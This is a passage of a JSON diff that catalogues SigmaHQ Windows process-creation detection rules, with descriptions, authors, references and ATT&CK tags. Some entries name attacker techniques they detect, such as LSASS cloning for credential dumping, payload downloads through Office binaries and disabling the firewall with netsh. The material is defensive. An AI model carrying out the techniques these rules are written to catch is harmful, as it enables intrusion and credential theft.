"logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", + "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gpresult.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ] + }, + "uuid": "e56d3073-83ff-4021-90fe-c658e0709e72", + "value": "Gpresult Display Group Policy Information" + }, + { + "description": "Detects creation of a scheduled task with a GUID like name", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/31", + "falsepositive": [ + "Legitimate software naming their tasks as GUIDs" + ], + "filename": "proc_creation_win_susp_guid_task_name.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_guid_task_name.yml" + ], + "tags": [ + "attack.execution", + "attack.t1053.005" + ] + }, + "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b", + "value": "Suspicious Scheduled Task Name As GUID" + }, + { + "description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/02/06", + "falsepositive": [ + "Execution of tools named GUP.exe and located in folders different than Notepad++\\updater" + ], + "filename": "proc_creation_win_susp_gup.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "0a4f6091-223b-41f6-8743-f322ec84930b", + "value": "Suspicious GUP Usage" + }, + { + "description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/10", + "falsepositive": [ + "Other parent processes other than notepad++ using GUP that are not currently identified" + ], + "filename": "proc_creation_win_susp_gup_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1535322182863179776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "44143844-0631-49ab-97a0-96387d6b2d7c", + "value": "Download Files Using Notepad++ GUP Utility" + }, + { + "description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/10", + "falsepositive": [ + "Other parent binaries using GUP not currently identified" + ], + "filename": "proc_creation_win_susp_gup_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1535322445439180803", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gup_execution.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", + "value": "Execute Arbitrary Binaries Using GUP Utility" + }, + { + "description": "Use of hostname to get information", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_hostname.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hostname.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e", + "value": "Suspicious Execution of Hostname" + }, + { + "description": "Detects a suspicious IIS module registration as described in Microsoft threat report on IIS backdoors", + "meta": { + "author": "Florian Roth (rule), Microsoft (idea)", + "creation_date": "2022/08/04", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_iis_module_registration.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iis_module_registration.yml" + ], + "tags": "No established tags" + }, + "uuid": "043c4b8b-3a54-4780-9682-081cb6b8185c", + "value": "Suspicious IIS Module Registration" + }, + { + "description": "Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)", + "meta": { + "author": "Max Altgelt", + "creation_date": "2021/12/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_image_missing.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentestlaboratories.com/2021/12/08/process-ghosting/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_image_missing.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "71158e3f-df67-472b-930e-7d287acaa3e1", + "value": "Execution Of Non-Existing File" + }, + { + "description": "Uses the .NET InstallUtil.exe application in order to execute image without log", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_instalutil.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_instalutil.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "d042284c-a296-4988-9be5-f424fadcc28c", + "value": "Suspicious Execution of InstallUtil Without Log" + }, + { + "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_invoke_webrequest_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_invoke_webrequest_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc", + "value": "Suspicious Invoke-WebRequest Usage" + }, + { + "description": "Detects suspicious IIS native-code module installations via command line", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/11", + "falsepositive": [ + "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" + ], + "filename": "proc_creation_win_susp_iss_module_install.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", + "value": "IIS Native-Code Module Command Line Installation" + }, + { + "description": "Detects the rare use of the command line tool shutdown to logoff a user", + "meta": { + "author": "frack113", + "creation_date": "2022/10/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_logoff.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_logoff.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ] + }, + "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10", + "value": "Suspicious Execution of Shutdown to Log Out" + }, + { + "description": "Detects Wscript or Cscript executing from a drive other than C. This has been observed with Qakbot executing from within a mounted ISO file.", + "meta": { + "author": "Aaron Herman", + "creation_date": "2022/10/01", + "falsepositive": [ + "Legitimate applications installed on other partitions such as \"D:\"" + ], + "filename": "proc_creation_win_susp_lolbin_non_c_drive.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/pr0xylife/Qakbot/blob/main/Qakbot_BB_30.09.2022.txt", + "https://app.any.run/tasks/4985c746-601e-401a-9ccf-ae350ac2e887/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_non_c_drive.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "5b80cf53-3a46-4adc-960b-05ec19348d74", + "value": "Wscript Execution from Non C Drive" + }, + { + "description": "Detects a suspicious LSASS process process clone that could be a sign of process dumping activity", + "meta": { + "author": "Florian Roth, Samir Bousseaden", + "creation_date": "2021/11/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_lsass_clone.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", + "https://twitter.com/Hexacorn/status/1420053502554951689", + "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.001" + ] + }, + "uuid": "c8da0dfd-4ed0-4b68-962d-13c9c884384e", + "value": "Suspicious LSASS Process Clone" + }, + { + "description": "Use of reg to get MachineGuid information", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_machineguid.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_machineguid.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "f5240972-3938-4e56-8e4b-e33893176c1f", + "value": "Suspicious Query of MachineGUID" + }, + { + "description": "Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/21", + "falsepositive": [ + "File located in the AppData folder with trusted signature" + ], + "filename": "proc_creation_win_susp_microsoft_onenote_child_process.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_microsoft_onenote_child_process.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.001", + "attack.initial_access" + ] + }, + "uuid": "c27515df-97a9-4162-8a60-dc0eeb51b775", + "value": "Suspicious Microsoft OneNote Child Process" + }, + { + "description": "Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe.\nThis could be a sign of obfuscation of a fat finger problem (typo by the developer).\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_missing_spaces.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cyb3rops/status/1562072617552678912", + "https://ss64.com/nt/cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_missing_spaces.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a16980c2-0c56-4de0-9a79-17971979efdd", + "value": "Missing Space Characters in Command Lines" + }, + { + "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_mofcomp_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", + "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218" + ] + }, + "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", + "value": "Suspicious Mofcomp Execution" + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "meta": { + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "creation_date": "2020/10/08", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "filename": "proc_creation_win_susp_mounted_share_deletion.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ] + }, + "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896", + "value": "Mounted Share Deleted" + }, + { + "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_mpiexec_lolbin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1465058133303246867", + "https://docs.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mpiexec_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "729ce0ea-5d8f-4769-9762-e35de441586d", + "value": "MpiExec Lolbin" + }, + { + "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism", + "meta": { + "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)", + "creation_date": "2019/02/22", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_mshta_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.sevagas.com/?Hacking-around-HTA-files", + "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356", + "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script", + "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997", + "https://twitter.com/mattifestation/status/1326228491302563846", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1218.005", + "attack.execution", + "attack.t1059.007", + "cve.2020.1599" + ] + }, + "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3", + "value": "MSHTA Suspicious Execution 01" + }, + { + "description": "Detects suspicious mshta process patterns", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_mshta_pattern.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://en.wikipedia.org/wiki/HTML_Application", + "https://www.echotrail.io/insights/search/mshta.exe", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshta_pattern.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ] + }, + "uuid": "e32f92d1-523e-49c3-9374-bdb13b46a3ba", + "value": "Suspicious MSHTA Process Patterns" + }, + { + "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_mshtml_runhtmlapplication.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/n1nj4sec/status/1421190238081277959", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mshtml_runhtmlapplication.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c", + "value": "Mshtml DLL RunHTMLApplication Abuse" + }, + { + "description": "Detects execution of msiexec from an uncommon directory", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/11/14", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_msiexec_cwd.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/200_okay_/status/1194765831911215104", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_cwd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "e22a6eb2-f8a5-44b5-8b44-a2dbd47b1144", + "value": "Suspicious MsiExec Directory" + }, + { + "description": "Detects suspicious msiexec process starts with web addresses as parameter", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/02/09", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_msiexec_web_install.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msiexec_web_install.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007", + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "f7b5f842-a6af-4da5-9e95-e32478f3cd2f", + "value": "MsiExec Web Install" + }, + { + "description": "Downloads payload from remote server", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2019/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_msoffice.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", + "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", + "Reegun J (OCBC Bank)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msoffice.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "0c79148b-118e-472b-bdb7-9b57b444cc19", + "value": "Malicious Payload Download via Office Binaries" + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "meta": { + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2021/12/07", + "falsepositive": [ + "Administrative activity" + ], + "filename": "proc_creation_win_susp_netsh_discovery_command.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ] + }, + "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", + "value": "Suspicious Netsh Discovery Command" + }, + { + "description": "Detects persitence via netsh helper", + "meta": { + "author": "Victor Sergeev, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", + "https://attack.mitre.org/software/S0108/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546.007", + "attack.s0108" + ] + }, + "uuid": "56321594-9087-49d9-bf10-524fe8479452", + "value": "Suspicious Netsh DLL Persistence" + }, + { + "description": "Detects netsh commands that turns off the Windows firewall", + "meta": { + "author": "Fatih Sirin", + "creation_date": "2019/11/01", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", + "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004", + "attack.s0108" + ] + }, + "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", + "value": "Firewall Disabled via Netsh" + }, + { + "description": "Detects execution of client32.exe (NetSupport RAT) from an unsual location (outisde of 'C:\\Program Files')", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_netsupport_rat_exec_location.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsupport_rat_exec_location.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "37e8d358-6408-4853-82f4-98333fca7014", + "value": "Execution of NetSupport RAT From Unusual Location" + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "meta": { + "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "creation_date": "2021/12/07", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "filename": "proc_creation_win_susp_network_command.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ] + }, + "uuid": "a29c1813-ab1f-4dde-b489-330b952e91ae", + "value": "Suspicious Network Command" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", + "meta": { + "author": "frack113", + "creation_date": "2021/12/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_network_listing_connections.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_listing_connections.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ] + }, + "uuid": "1c67a717-32ba-409b-a45d-0fb704a73a81", + "value": "Suspicious Listing of Network Connections" + }, + { + "description": "Detects execution of Net.exe, whether suspicious or benign.", + "meta": { + "author": "Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements)", + "creation_date": "2019/01/16", + "falsepositive": [ + "Will need to be tuned. If using Splunk, I recommend | stats count by Computer,CommandLine following the search for easy hunting by computer/CommandLine." + ], + "filename": "proc_creation_win_susp_net_execution.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/", + "https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html", + "https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html", + "https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007", + "attack.t1049", + "attack.t1018", + "attack.t1135", + "attack.t1201", + "attack.t1069.001", + "attack.t1069.002", + "attack.t1087.001", + "attack.t1087.002", + "attack.lateral_movement", + "attack.t1021.002", + "attack.s0039" + ] + }, + "uuid": "183e7ea8-ac4b-4c23-9aec-b3dac4e401ac", + "value": "Net.exe Execution" + }, + { + "description": "Detects net use command combo which executes files from WebDAV server; seen in malicious LNK files", + "meta": { + "author": "pH-T", + "creation_date": "2022/09/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_net_use.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ShadowChasing1/status/1552595370961944576", + "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f0507c0f-a3a2-40f5-acc6-7f543c334993", + "value": "Suspicious Net Use Command Combo" + }, + { + "description": "Detects a when net.exe is called with a password in the command line", + "meta": { + "author": "Tim Shelton (HAWK.IO)", + "creation_date": "2021/12/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_net_use_password_plaintext.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_net_use_password_plaintext.yml" + ], + "tags": "No established tags" + }, + "uuid": "d4498716-1d52-438f-8084-4a603157d131", + "value": "Password Provided In Command Line Of Net.exe" + }, + { + "description": "Detects creation of a new service (kernel driver) with the type \"kernel\"", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/14", + "falsepositive": [ + "Rare legitimate installation of kernel drivers via sc.exe" + ], + "filename": "proc_creation_win_susp_new_kernel_driver_via_sc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_new_kernel_driver_via_sc.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": 